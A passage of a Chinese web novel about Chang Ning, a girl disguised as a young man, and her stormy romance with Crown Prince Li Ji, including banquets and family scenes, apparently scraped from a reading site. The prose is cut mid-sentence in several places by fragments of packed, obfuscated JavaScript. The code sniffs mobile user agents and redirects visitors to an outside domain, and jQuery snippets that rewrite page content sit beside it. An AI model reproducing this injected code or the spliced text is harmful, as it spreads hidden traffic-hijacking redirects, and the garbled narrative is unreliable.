李稷摇头，示意人给常宁多夹些菜，常宁象征性地吃几口，就不再动了。 “不合胃口？” 常宁略有惊诧，回首见郑御厨满脸紧张地盯着她，回道：“不是，是我不饿。” 李稷嗤笑：“猫都比你用得多。” 常宁弯眸笑笑：“那真是只好猫。” 李稷嗓音微沉，“再用些。” “不吃了，”常宁拿湿巾子擦嘴，提起自己的书袋，“吃成肥猪娶不到媳妇。走了，殿下，明日再见。” 红袍少年眉目灼灼，侧身道别，不过十余日，对出入东宫一事便熟稔于心，引路的青鱼都被甩在身后。 李稷将筷子按在碗上，发出一声脆响，“站住。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399628|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 常宁定住，“无缘无故的，殿下这么大声做什么？” 李稷略过常宁，看向青鱼，“撤了。今日菜烧得不好，郑御厨再去备一桌。若是少爷还吃不下，唯尔等是问。” 青鱼与郑御厨自是诚惶诚恐地应下，满殿人不敢出声，静默着收拾残局。 常宁也觉出些不对来，忙把书袋放下，“殿下，我是真用不下，不干他们的事。你不高兴吗？” “并无，”李稷满心怒火，对上常宁眸底的紧张，化作一口浊气，温声道，“随孤过来。” 院中开阔，天还是明亮的，空气却依旧闷热，宫墙边的梧桐树耷拉着绿叶，树下有小太监提着桶浇水。 李稷长手长脚，打起拳来分外威风，常宁还能听到凌厉的破空声，抚掌叫好。 “殿下，你这一拳下去，能把我脑袋打开花。” “胡说，”李稷本是拿斤子擦汗，听得常宁这话，抬眸轻斥，“总要有些忌讳，往后不许再说这话。你来打。” “我？”常宁指尖指向自己，“我没打过这套。” 刘总管笑道：“常少爷，有殿下在，你只管打就是。”见常宁穿戴齐整就要上场，忙劝道，“待会儿出了汗，衣裳黏着不舒服，要不您也把外衣和上衫除了？” 常宁挥手：“不用，我就喜欢这样。” 她出拳不算软，但落在李稷眼里，太过规矩，一招一式都一板一眼的，耍耍威风可以，真遇上险事，恐怕要吃亏。 刘总管派人备水备凉巾，顶着落日余温，风也燥热，眼瞧着李稷在旁指点常宁。他家殿下惯常肃着脸，似被常宁气倒，负手喘着粗气。常宁被李稷纠正着，边打边叫苦连天，喊着太疼太累。 刘总管不由笑起来，指使人搬竹椅过去。 李稷眉心紧皱：“缓一刻钟。” 常宁如蒙大赦，拖着打颤的腿，一头歪坐进竹椅里，靠着椅背扇手，把湿巾子蒙在脸上，舒服地喟叹。 不过几息，李稷揭下巾子，露出那张潮红犹带水汽的脸庞，凤目将兀自张唇喘息的人打量一二，从鼻中哼出一道冷气，“也不怕闷死。” 常宁拱手笑，“多谢殿下相救？” 李稷移开视线，不予理会。 常宁无奈耸肩，灌了一杯温茶，依旧不爽快，转问刘总管，“我想喝凉的，像冰块一样凉。” 刘总管劝说的话还没出口，就听他家殿下隐含着怒气道：“不许去。” 常宁是真没辙了，捧着温茶一杯杯灌，摸不清他这难以捉摸的脾气从哪里来，左右喜怒无常就是了。 她刚这般想，李稷那熟悉的嗓音就又砸进她耳中，斥责她坐姿不雅、没个正形。 常宁习惯了他败兴的话，只当耳旁风。 李稷心头一噎，看常宁眉眼含笑，捧着杯子小口喝茶，就知道人没听进去，又一瞥漏刻，已经过了一刻钟，不由分说地拎着人起来，继续盯着常宁打拳。 打到最后，常宁四肢都不听使唤了，腹中水一晃，又被热出满头大汗，不免饥肠辘辘，再看那满桌佳肴，简直两眼放光，风卷残云一般夹菜吃。 刘总管要带常宁沐浴更衣，常宁死也不去，气得李稷失口骂她满身汗臭、粗俗不堪，不屑与常宁同席而坐，要常宁用完膳立刻滚出去。 常宁对这位祖宗没脾气了，“是是是，我粗俗。敢问殿下，我这滚几天呢，您才消气呢？” 李稷又是一哽，拂袖而去。 刘总管一跺脚，临去追李稷前，还不忘嘱咐常宁，“常少爷，明日自然是接着过来。” 29. 邀约 书剑也隐隐察觉到不对，举目四顾，在马车里压低声音，“少爷，老爷夫人那里怎么办？要不我们找老爷夫人商量商量？” 常宁笑着拍拍书剑肩膀，“你就当是少爷我一桩风流债，拿个本子记下来，看看少爷这辈子能谈几个。” 书剑钦佩地望向常宁:“不愧是少爷，志向远大。” 常宁轻咳一声，不自在地别过脸，“安亲王要约我出去游湖，是哪天来着？” 书剑性子谨慎，重要的事情都记在随身携带的本子上，低头翻出来看一看，确信无疑，“后日。” “后天？”常宁嘀咕，那天她倒是休沐，可李稷说上午要督促她练拳，“后天什么时辰？” “未曾定下，”书剑继续翻看，找出一行小字，“安亲王殿下传话，要少爷你定个合适的时间。” “那就下午，你等会儿去回信，”常宁指尖托着下巴，“云策说什么小聚，我怎么记得也是后天？” “是，”书剑道，“云少爷说，他和少爷很久没有两个人聚过了，约少爷后天夜里天香楼见面，请少爷用饭。特地嘱咐少爷，不要带同窗前去。” 常宁捂着额头，“怎么不把我劈成三瓣？什么破休沐，比进学还累。” …… 常宁再抗拒，也还是到了休沐日。 上午被李稷盯着打了半天拳。常宁打着，他在旁边处理政务，听着拳风就知道常宁是否多懒、何处不对，提笔勾划的间隙还能抽空指点。 待断断续续打上一个多时辰，日头也大了，常宁打得脱力，一个跟头栽倒在茵茵绿草地上，手揪着草根喘气。 刘总管一惊。离得近的青鱼就要扶常宁起来，还没挨上常宁，李稷已经大步迈了过来，剑眉微蹙俯身扶人。 常宁笑笑：“咦，我可是个粗俗人，满身汗臭味，让殿下和我同席而坐都是委屈，怎么好碰殿下的尊手呢？” “不可理喻，”李稷沉了脸，伸手向常宁，“抓着，自己起来。” 常宁确实抓着了，趁他不设防，用力一拉，看他脸都黑了，忙翻身将他压在地上。 周围守着的宫人早就背过身去，常宁才不怕他黑脸，按着他肩示意他躺下，自己也一骨碌滚在他身旁，枕臂看天，嗓音含笑，“好看吗？站着可看不到。只有今时今日此时此刻，同我一起躺在此地，才能目睹如此美景。” 李稷轻斥：“荒唐。光天化日朗朗乾坤，衣衫不整卧于草野，成何体统？” 败兴。 常宁撇嘴，指着天上白云苍狗，看它们被风吹得变化万千，乃至身周素觉低矮的细草，此刻也高过了视线，在眼帘中晃荡，“白云千载空悠悠呐，这么美，这么空，真是让人感慨。” 单听她气都喘不匀的模样，李稷便知方才摔倒是真脱力了，方升起的怜与悔却都被这笑语打断，凤目中不仅有常宁所指的蓝天白云，余光亦能瞥见那犹带红潮细汗的莹白面孔。 哪怕看不到人脸，他也能瞬间想象出常宁此刻的模样，定是朱唇上扬、桃花眸弯如月牙，似有波光流淌，醉人心弦。 李稷冷声道:“不务正业。” 常宁摇指，两臂撑在他颈侧，弯眸俯视李稷，笑道：“能舍命陪君子，还务什么正业呀？我又不傻。” 三个月呢，两个人都苦兮兮的，常宁想不出来有多难熬，倒不如趁此玩乐一番。 左右李稷心高气傲，至多亲常宁一下，偶尔讲些过分的话。可常宁清楚，他心里还是迈不过那道坎，不愿意同一个男人玉成好事。 那她还怕什么？谨慎些，总有转圜余地的。 常宁如今是本性毕露，得意得紧，言语间连恭敬都少了，神采飞扬。 李稷要呵斥常宁，常宁手指已经划在他面上，口中喃喃道：“广额深目，剑眉高鼻，面白如敷粉，唇丹若点漆。殿下你生得这般好，不做君子，也能做美人的。” 常宁一拍手，撑地起身，不忘伸手拉李稷，“再见了殿下，午间安康。” “书剑，回家，又热又累的。” 李稷抻一抻衣袖，眉目淡淡，任凭刘总管替他拍衣整冠，命令人打道回宫，却禁不住向常宁的背影递去眸光。 三个月，够消除他的妄念么？ …… 永定河贯穿京城，是条寒浪涛涛的大河。 在京城偏北，有方与永定河相连的湖泊，每至夏日便生出满湖的清莲翠篷，翠、碧、粉、青，兼之周边各类花草与林湖鸟禽，别有风味。 “明净师傅，”小小的乌篷船上，常宁打了个佛偈，笑问明净，“这地方，小船比画舫更别致吧？” 明净颔首。 也亏得船小，挤不下张公公等人，不然常宁又是叫人法号又是打佛偈的，定要被张公公告一状。 蓬蓬荷叶生得近人半身高了，采些莲荷别在他们这条小船上，更是不同。可惜明净一副对佛宗念念不忘的模样，常宁觉着师傅们慈悲为怀，见了她辣手摧花，不知要伤心成什么样，遂就给明净讲这湖泊的趣事。 明净郁郁寡欢的脸上，也罕见露出一丝笑。 远处一座精致高大的画舫驶来，巨大的阴影笼罩了他们的小船。甲板上，一身锦衣的二皇子唇角含笑，俯身高声道：“侄儿见过皇叔。夏日炎炎，侄儿船上备下了冰鉴与瓜果，亦有歌舞助兴，还邀了几位京中少年与名士，皇叔不如上船同乐？” 明净下意识看向常宁。 二皇子会意，爽朗一笑，“常宁是皇叔的朋友，自然一同前来。早听说常宁喜爱交游，侄儿这船上，有不少都是常宁的旧友，正可上船一叙。” 明净问：“你爱交游？” 常宁：“从前喜欢。” 张公公在不远不近处跟着，听了二皇子的话，当即划桨靠近，笑意盈面，“王爷，这多热闹，要不去瞧瞧？” 明净置之不理，继续问常宁，“想去吗？” 张公公忙冲常宁使眼色。 常宁道：“我是来陪殿下的。殿下去哪儿我就去哪儿，旁人我不管。” 最终两人还是上了画舫。 丝竹阵阵，琴师俊秀，舞娘绝美。船上的诸多少年，常宁都打过照面，但也仅限于几面之缘，不如云策等人亲密，亦不如燕大侠等人热忱。 二皇子长袖善舞，在这群子弟里如众星捧月。他有意将话题引向明净，向明净引荐这些京中少年，常宁便默不作声地欣赏歌舞，尽量降低存在感。 张公公自是满意地笑。 明净忽然在案下握住常宁的手，力道有些紧。 “殿下，我在，”常宁笑笑，小声道，“你若不喜欢，我们告辞？” 二皇子耳朵却尖，当即挽留，“常宁，知道你和皇叔关系好，可本殿下与皇叔连两刻钟都没待到。父皇庭训时，总要我们兄弟几个待皇叔多亲近，你要拉着皇叔走，本殿下可不依。” 常宁最烦宴上这套留客的说辞，偏又不好走，旁边又有张公公时刻盯着，“哪里哪里，殿下说笑了。” 再有人来敬酒攀谈，常宁都帮着明净。反正她酒量好，一股脑全挡了也没关系。那些谈话的，常宁引着话头，不热络，也不至于冷场就是。 待告一段落，舞娘来献酒，总算好了些。 许是顾及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406976|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明净佛寺清修过，今日宴上又抗拒不耐，是个琴师给明净献的茶，献好后便顶着张公公护犊子的目光，规规矩矩跪坐在旁，低眉垂眼听从吩咐。 秾丽的舞娘素手执盏，奉酒给常宁。常宁接过饮下，歪头和明净谈论京中苏记莲子糕的清甜，以及八宝斋酱菜的声名远扬，“都很好吃呢，下次我给殿下带一些。” 宴上少年血气方刚，见了美娇娘含羞带怯地捧着酒盏，就着纤手饮下美酒，醉蒙蒙地揽人入怀。 虽不甚露骨，但到底唇齿相接，要不是明净案边清净如常，张公公险些就要带他家王爷中途离席，已打定了注意回去要向庆和帝隐晦地告上一状，将这宴上情形转述了去。 常宁捻了块小桃酥吃，方与明净谈到趣处，忽觉唇上一凉，舞娘正捏着帕子给她擦唇。 她实在是个美丽的姑娘，低眉顺眼时不显，抬头时，盈盈水眸望进人心里，柔柔的，浓睫下似蕴着千言万语，叫常宁也不自觉多看了几眼。 待人似乎要亲来时，常宁回神，倒了杯热水，“姑娘暖暖手。”避了过去。 明净睨来一眼。 常宁只盼着二皇子的宴会快些结束，就觉一双手覆上腰肢，吓得挪了挪，“姑娘，我们喝茶就好。” 二皇子注意到这边动静，见舞娘满眼闪烁的水光，笑道：“这么美的姑娘，你也舍得将人欺负哭？也罢，你不懂消受，这姑娘便跟了本殿下吧。” 张公公眼微瞪，想劝又没个立场，看看明净，又看看常宁，缄默不言。 千盼万盼，总算散席了。 金乌西坠，糊上波光粼粼，如同洒了一池涌动的金箔。 明净邀约常宁下次再见。常宁应了，目送他离开，带着书剑转身走出好一段，拐角时忽然撞进一堵宽阔的胸膛里。 刘总管望向书剑：“湖景不错，随咱家去看会儿吧。” 常宁被李稷拽着，与书剑越来越远。 到一处僻静的原野上，常宁禁不住问：“殿下，怎么了？” 李稷不言不语，沉默得令常宁愈发不安。 “你别不说话，你这样我害怕。” 李稷牵唇，勾出个冷淡的笑。 直到一棵柳树下，常宁被他带着坐在草地上，李稷捋了常宁衣袖，搽了清凉的膏药，在常宁手臂上揉开。 常宁郁气少了些，眉眼间浮上笑意，“这药是做什么的？” 李稷：“活筋舒络。” 涂完手臂，李稷挽起常宁裤腿，堆在大腿上，照旧要来抹药。常宁不太习惯，想接来自己抹，都被他挡了回去。 等风吹干了药膏，常宁整好衣裳，抬头就见李稷黑沉凤目正紧紧盯着她。 常宁问：“有事吗？” 李稷：“往后没有孤的允许，不许参加这种宴会。” 常宁不乐意：“这是我的事情。” 这次是不让她参加宴会，焉知下次是什么，难道还不让她和朋友们来往？荒谬！ 李稷负手而立：“你这般来者不拒，可有将孤放在眼中？” “我如何来者不拒？”常宁气闷，“若这就叫来者不拒，那您见了我从前的样子，岂不是要将我碎尸万段？” “住口，”李稷喝道，“你口中简直毫无忌讳。” 常宁被喝得一震，眸中便含了泪，别过头去，“你才是口无遮拦、喜怒无常、阴晴不定，若不是我迁就你，你我一天都无法共处。” 李稷指节攥得咯吱作响，切齿声声，背过身去，振臂一指，“你走。” 常宁看他一眼，“好聚好散，告辞。恐有夜雨，还请早些回宫。” 30. 相让 英国公近日早出晚归，忙得焦头烂额。 他领的是个闲职，最近不仅增添了许多文书工作，还总是被邻近衙署借去救急。 天擦黑，结束了一天的忙碌，英国公骑着马儿溜溜达达回府，欣赏着天子脚下的夜景，远远就瞧见常宁提着灯在府门前的石狮子旁等他。 英国公一笑，翻身下马，示意长随先牵马到马厩，从袖子里摸出一包酱肉，递给常宁，“饿了吧？怎么不在你娘院子里等爹。” 常宁拆开油纸，诱人的香气直直钻进肺里，还是温热的，一看就是她爹特意带给她的，撕下一块给英国公，“爹，你也吃。” “好，好！”英国公爽朗地笑。 父女二人并排去找姜夫人，常宁频频瞥向英国公，英国公疑惑，“惹事了？” 常宁摇摇头，“爹，若是我在外面闯祸了，牵连到你，要怎么办？” “还当是什么大事，”英国公穿过照壁，摇指祠堂，“挂印封金，咱们一家带着祖宗牌位，先回祖地。待住上一段，你就跟着爹娘游历大好山川，去拜访爹娘年轻时走南闯北结下的老友。眼睛这么红做什么？爹又没说不带无忧。只是无忧这孩子心里存着事，怕是不愿意和咱们一块走。” 常宁扬唇笑笑，“风大，吹的。无忧还好么？你在衙署累不累？” 英国公目视前方，给常宁打开珠帘，闷声笑道，“无忧给你写的信，我可没看，怎么知道人家境况如何？” 眼瞧着周围人少，英国公小声道，“爹给你说，衙署那帮人连你一半聪颖都没有，就那么些文书，你爹一会儿就整完了，余下时间在给你娘写话本呢。” “还是爹你厉害，”常宁也高兴了，“让他们多给你派些公务，我要看他们什么时候难倒你！” 姜夫人见他们二人嬉笑不止，佯做不满，纤指遥遥点向常宁，“过几年就要加冠的人了，还一团孩子气，也不知什么时候能长大。” “娘，我长大什么呀，咱们家就数你最大，”常宁笑眯眯，“是吧，爹？” “自然，”英国公夺过蒲扇，给姜夫人扇风，“咱们家谁都越不过夫人去，夫人说什么就是什么。” 常宁都习惯了，自顾自坐下吃饭。反正等她走了，爹娘还得再吃上一会儿。 跨出门槛，常宁回身瞥了一眼。 她爹面有倦容，精气神却极好，比他钓鱼养花好上数倍，遂掩唇笑起来。 说好的好聚好散，李稷却要施压，没成想误打误撞，她爹就喜欢干公务，苦于无处施展久矣。 书剑在院子里洒水，迎上来道：“少爷，无忧公子那边又来信了。” 常宁道：“先不看，你帮我收起来。” …… 常宁都不去东宫了。 书剑提笔，在巴掌大的线装本上写写画画，按着顺序在书页顶端排号，三页一号。 常宁凑近看了一眼，“你就管他叫‘壹’呀？” 书剑挠挠头：“要避讳，不能写名字。” 常宁一想也是，“你记得是谁就成。” 书剑记得牢牢的，但私心里也觉得少爷和壹不大般配，他连一页纸都记不满。 刚下了马车进宫，远远就瞧见青鱼，常宁笑着打了个招呼。 青鱼左右看了看，“常伴读，殿下病了。” 常宁问：“御医去了吗？” 青鱼点头：“来了。总管让奴才转告您，柔能克刚，知足常乐。气头上的人，气也就气一会儿，低个头就好了。” “那就好，”常宁笑道：“但我也在气头上呀。我也有话要你转告刘总管。殿下的恩情，我一直记着，不论有没有好聚好散，这恩都是磨不平的。殿下若有用我得上的地方，我会竭力而为。” “给我爹多派点活，但别把我爹累倒，我可就这一个爹。” 青鱼应喏。 不用去东宫，常宁径直去御书房，见自己案上被人放了只灵巧的木鸟，拧了开关会颠颠地走路，口中还会喷水，爪上描了金，忙叫道：“江兄，快来快来。” 江晚照低着头，在常宁案边坐下。 常宁小声道：“这是你送我的呀？我挺喜欢的，但别用金子啊，木头配金子，太奢侈了。几个月前殿下赠你的金子，还在我那儿，你记得找我拿回去，以后给你夫人。” 就这么说了几句，常宁发现他脸红了，“你生气啦？” 云策挤过来，“呀，你发财了？这小东西做得真好，怎么不送我一个？” 常宁伸指抵在他额头上，挡住他往这边探的动作，“就是不给你。” “他要有夫人了？”云策还琢磨着常宁的话，看看脸颊红透的江晚照，再看看常宁，“那你喜欢什么人？” 常宁随口道：“当然是能哄我开心的人。” 云策问：“你和我在一起，够开心吗？” 常宁捧腹大笑，“你怎么这么古怪？咱们从小玩到大，当然开心了，只是无关风月，毕竟兔子还不吃窝边草呢。” “二皇子殿下有没有请你们吃酒？” 云策心不在焉地点头。 江晚照也颔首。 常宁摩挲下巴，“那咱们一起去。” …… 刘总管得了信，在殿外叹口气，整理好神情，无声无息地进殿。 前些天，有江湖人到京兆尹衙门里喊冤，希望朝廷介入，彻查让江湖上人人自危的灭门案。 公孙瑾也难得在此。 方俞周叮嘱道：“你可得小心，江湖险恶，一不留神可要脑袋不保。” 公孙瑾清楚，他说的不是江湖，而是背后使绊子的朝臣。推公孙瑾审查此案的，正是大理寺高少卿，与二皇子暗地里有所往来。 江湖人士又信奉与朝廷井水不犯河水，宗派恩怨，即便是斗得头破血流，也不乐意朝廷插足。朝廷也予以默许，只要他们不牵涉到普通百姓、不纠集民众，势力没有超出朝廷规定的上限，不鼓动叛乱，朝廷无心管辖这些争端。 李稷抵唇咳了一声：“若是与朝廷有关，只可彻查，不可放过。” 方俞周关切了几句，与公孙瑾退下，低声道：“你可要处处谨慎，两边都要防着。可要我寻几个侍卫？” 待两人走远，刘总管方近前，将药汁放在案上。李稷一口闷下，往殿门外望了一眼。 他年近弱冠，前代皇帝在太子加冠后，都会派史臣随侍左右，记录言行起居，直言进谏。 到那时候，庆和帝的耳目时时刻刻留在身边，李稷才是真被掣肘。他要暗地里准备的事，无论是结交英才还是其他布局，都需尽快在加冠前完成。 寻常与常宁在一处时，李稷也多是存着事的。如今忙碌依旧，兼之怒火攻心，不免就邪风入体。 李稷拿帕子擦唇，瞥见滴漏，招来刘总管，下意识就要人备两副碗筷，又顿住，挥手要他下去。 这个点，该来的早就来了。 刘总管督促着人布菜，趁这间隙将存了一天的话吐出来。 李稷听了，无甚反应。他素来不重口腹之欲，依照惯例，略夹了几筷子，就停箸了，到庭院里打拳。 直打得大汗淋漓，也还是不解烦闷，尤其瞧见摆放在不远处的竹椅，呼吸紧了一瞬。 “刘章，他带的什么话。” 刘总管又复述了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411640|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍。 李稷追问：“他有恩要报？” “是。” “备水沐浴，备上车马。” …… 堂里一派和乐。 本就是同龄少年，聚在一处说不完的话，再加上二皇子做东，更是心潮澎湃，一边赏着歌舞，一边吃酒阔谈。 常宁含笑看着，觉得他们都醉了，牛都吹到天上去了。这次也不知怎么排的席次，她和云策、江晚照、孟学洲隔得远远的，反而是秦寿那混蛋和她同席。 秦寿殷勤地倒酒，“你酒量怎么这么好，喝多少能醉？” 常宁牵唇：“醉了吐你一身。” 秦寿咋舌：“……没问你醉了是怎样。” 常宁哼了一声，“我那是不想搭理你。” 今日宴席，秦寿高兴，身上的刺都少了，也不和常宁作对，认出正聘聘婷婷而来的华裙丽人正是宴上的舞娘，伸手捋了下额发，“还是少爷我得姑娘家喜欢。” 常宁抬头，瞧见是那日画舫上的舞娘，确实是朝着他们过来，又看秦寿满面红光，遂斟酒独酌，不去看他二人。 直到舞娘软若无骨的手环上常宁腰肢，柔软的面颊枕在常宁肩上，常宁才惊了一瞬。 舞娘嗓音柔和，“素心服侍公子可好？” 常宁左侧，秦寿面色铁青，正愤愤甩下伸出的手，她一时倒不好去看他。可方才转向右边，又撞进素心那双盈盈水眸里，也叫人头疼。 还没等她请素心松手，秦寿已经阴阳怪气，“真是寡廉鲜耻，不知自重，倒贴我都不要。” 素心眼睫颤颤，眸中泛上极细微的水光，相扣的手紧了紧，攥得常宁腰疼。 常宁倒了杯茶，单手执着，喂她喝了些，“润润嗓。” 秦寿目眦欲裂，“好生没眼光！简直鱼目混珠！” 常宁拎起酒壶，将酒水倒进他嘴里，笑道：“珠子哪里有我好看？我这张脸就是让人没法自重，你头一天见我，可恨不得同我抵足而眠，一路跟我到我家，那才叫寡廉鲜耻，倒贴我都不要呢！” 秦寿被常宁猛得灌酒，呛得衣襟上全都是，朦胧地望着青袍玉冠的常宁，恶狠狠道：“算你有自知之明！” 常宁一噎，他莫不是颅内有疾？她在骂他，不是在夸他！ 离他远了些，常宁侧身低声道，“素心，我要去更衣。” 李慎忽然看了过来，抚掌道：“素心着实是个美人，常宁你喜欢，本殿下倒是不好夺人所爱了。” 常宁要解释，李慎不耐挥手，“本殿下相让至此，你就不要再开口戳本殿下心窝了。” 素心松开常宁，从常宁身侧走过，回眸望了常宁一眼，拜倒在堂中，“素心倾慕殿下，不愿意离开殿下。” 李慎愉悦大笑，“如此，本殿下倒不好相让了。诸位，本殿下先行一步。” 秦寿胳膊肘戳戳常宁，“你怎么不说清楚？” 常宁倒是想，李慎不给她开口的机会呐。 李慎一走，宴席上就少了约束，莫不议论素心的美貌，隐晦地打量常宁。寻常也没见常宁这般昏头，连殿下的人都敢觊觎。 云策绕了过来，愁道：“你也太糊涂了，人家都不喜欢你，你还巴巴地凑上去。若是殿下记恨上你，你可有得受。” 孟学洲眸中含忧，“近日莫要独自出行。” “别想了，想再多也没用，”常宁笑着给他们斟了酒，一人一杯，比了个请的手势，“这酒好喝，多喝点，今晚回去睡个好觉。” 她四周望了望，见一切如常，不禁打了个寒颤。 似乎有一道视线在盯着她，但却找不到视线的主人。 31. 有恩 等见了一身常服打扮的青鱼，常宁就明白了，打发云策等人先回去，自己坐着慢悠悠醒酒，待人都走得差不多，遂和青鱼一同去了隔壁。 李稷正垂首处理公务，似乎怒极，低声骂了句荒唐，这才注意到常宁。 常宁笑道：“殿下身体如何？” 李稷抿唇，反问道：“听说你有恩要报？” 常宁点点头：“殿下救了我父亲，我那时便说过，会记得您的大恩大德。如果殿下有用得上我的地方，尽管吩咐就是。” 她们家的家规，滴水之恩当思涌泉相报，常宁背得滚瓜烂熟。 李稷招手，示意常宁靠近，低声耳语，“孤要你。” 常宁大骇，后退一步，“不可！” 李稷牵唇笑：“方才不是还说，要孤尽管吩咐？” 常宁一言难尽，“您这不是挟恩图报嘛。” 李稷：“那也得有恩可挟。” 常宁为难，“可是我们已经分开了，连马都不吃回头草，我们俩总不能连马都不如，不然岂不是成了禽兽不如的东西了？” 李稷一时分不清常宁在骂谁，额角跳了跳，“那是马太笨，人总是比马强的。” 常宁忽然问：“你之前是不是在这里看我？” “看又如何，不看又如何？” “看不看都没关系啊，”常宁笑笑，“我随便问问。” 她问正事，“那你这次想和我在一起多久？” 李稷：“再加三个月。” 这就要半年了。 “太久了，”常宁略过他沉下的视线，继续道，“这么久会有矛盾的。若是有了矛盾，以后想起来就像吃了苍蝇一样，反倒不美。” “若不厌弃你，难道还要日日寻你？” 常宁险些以为自己听错了，“好伤人的话。”他如水一般寡淡，常宁不喜欢，但也从没说出口过，想了想还是咽下去，捏了块糕点吃，“不过有道理，祝殿下心想事成。” 见常宁冷冷淡淡，李稷要开口，又止住了。 他见到的，从来都是常宁欢喜的一面，令人如沐春风、心旷神怡。父皇对后妃的宠爱，亦是达到峰值之后便会将人遗忘。 兴许他只是恰巧爱常宁灿烂的一面，待常宁展露缺点，困扰他多时的问题，自然而然便解决了。 这糕点好吃，常宁心情好了点，看他眉眼有些躁郁，随手递给他一块，笑道：“要不要用些，垫垫肚子？忙到这么晚很累的。” 李稷：“你往后不许再接近女子，尤其是在宴席上。” 常宁又不舒坦了，反问道：“那你呢？” 李稷眸中闪过笑意，“孤亦如此。” 若是李稷上一刻还同别的姑娘说说笑笑，下一刻却带着满身脂粉气和常宁亲亲热热，常宁真是要郁闷死了。 她忽然灵光一现，“殿下，你是不是不喜欢我既和舞姬玩，又和你在一起？” 李稷不语。 常宁明白了，“先前是我不对，我以后会注意的，殿下你别生气嘛。” 李稷被常宁软言软语讲得胸腔满满，回神后又沉了脸，提笔落墨。 常宁凑近看了看，见他在默写《道德经》，觉得好笑，“你比我还需要人哄着。” 李稷道：“孤非三岁小儿。” 常宁笑笑，“别不好意思嘛，你这么可爱。” 李稷冷声：“不要用你讨好女人的话来糊弄孤。” “我不和别人讲这些，”常宁托腮看他。虽然他很寡淡，性情不合常宁心意，但常宁既然答应了他，自然就不再揪着这些不放，“我是喜欢很多人，可是殿下，那都不是爱。这六个月里，我会只爱你一个人。就算是装，我也会装出来的！” 李稷恍若未闻，只是给常宁添了杯茶。 常宁喝了太多酒，已经喝不下了，挪得离李稷近了些，肃着脸道：“殿下，我有话问你。” “说。” 常宁：“你为什么给我爹派这么多公务？是因为我惹你生气了吗？” 李稷：“不是，孤早有打算。” 那就是早就想提拔她爹了！ 常宁弯唇笑起来：“殿下你真有眼光，我爹可厉害了。” 虽然常宁知道她爹以后要辞官，但能在辞官前稍稍施展才华，让她爹不那么遗憾，常宁还是很高兴的。 烛火的光充盈满了整个屋子，被薄纱一般的灯罩一罩，柔和似水。 常宁这才发现，李稷今日着银朱色直裾纱衣，更衬得他身形高大挺拔、有威严之气。 这么严肃，看着就和她格格不入。常宁更喜欢李稷的发带，简简单单，分成两绺垂在脑后。常宁伸手揪了下，悄悄看李稷，见他毫无反应，没忍住又揪了下。 “你怎么不理我？” 像个木头人一样。 常宁想亲他一下试试，被他挡住了，疑惑地看着他。 李稷道：“风寒没好。” 常宁自动补充。 怕传染给她！ “殿下，”常宁略微想了想，“你要是做教书先生，教出来的学生去考明经，一定一考一个准！” “何意？” 常宁笑道：“学生每天和你说话，都在做帖经啊。” 明经的第一场就是帖经，考官会挖去经文中的三个字，让学生根据记忆力填写。李稷讲话说一半藏一半，要人猜来猜去的，常宁怀疑，若是和李稷待上半年，以后她都能去考明经了。 …… 书剑提笔，在“壹”下面补充。 “壹，贵不可言，容貌为少爷不喜，性情为少爷不喜。凡二十又三日，少爷恶之，遂绝。” “逾七日，重修旧好。” 常宁在旁虎视眈眈，“你怎么把我写这么坏？” 书剑被抓包，尴尬道：“那什么、少爷，这不是得给后来人做个铺垫嘛。人家都说，开头太好了，往后会不顺利的。要不，少爷你来改？” 常宁挥挥手，“你自己写，我管你这么多做什么。” 二皇子虽然人讨厌，但品味着实不错，酒水和下酒菜都是一等一的美味。常宁临走时，给爹娘也带了一份，时辰又不算太晚，便决定给爹娘送去，没想到爹娘也正等着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416203|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 明堂里灯火通明，角落里放着小冰鉴，清清凉凉，常宁一路上热出的汗都没了。 姜夫人拿了帕子，给常宁擦汗，“这么急做什么？” 常宁笑道：“想娘了。” 姜夫人眉开眼笑，“没个正形，多大人了。你们都下去吧。” 房里的丫鬟福身，安静地退下。 常宁左右瞅瞅，“这是怎么了？” 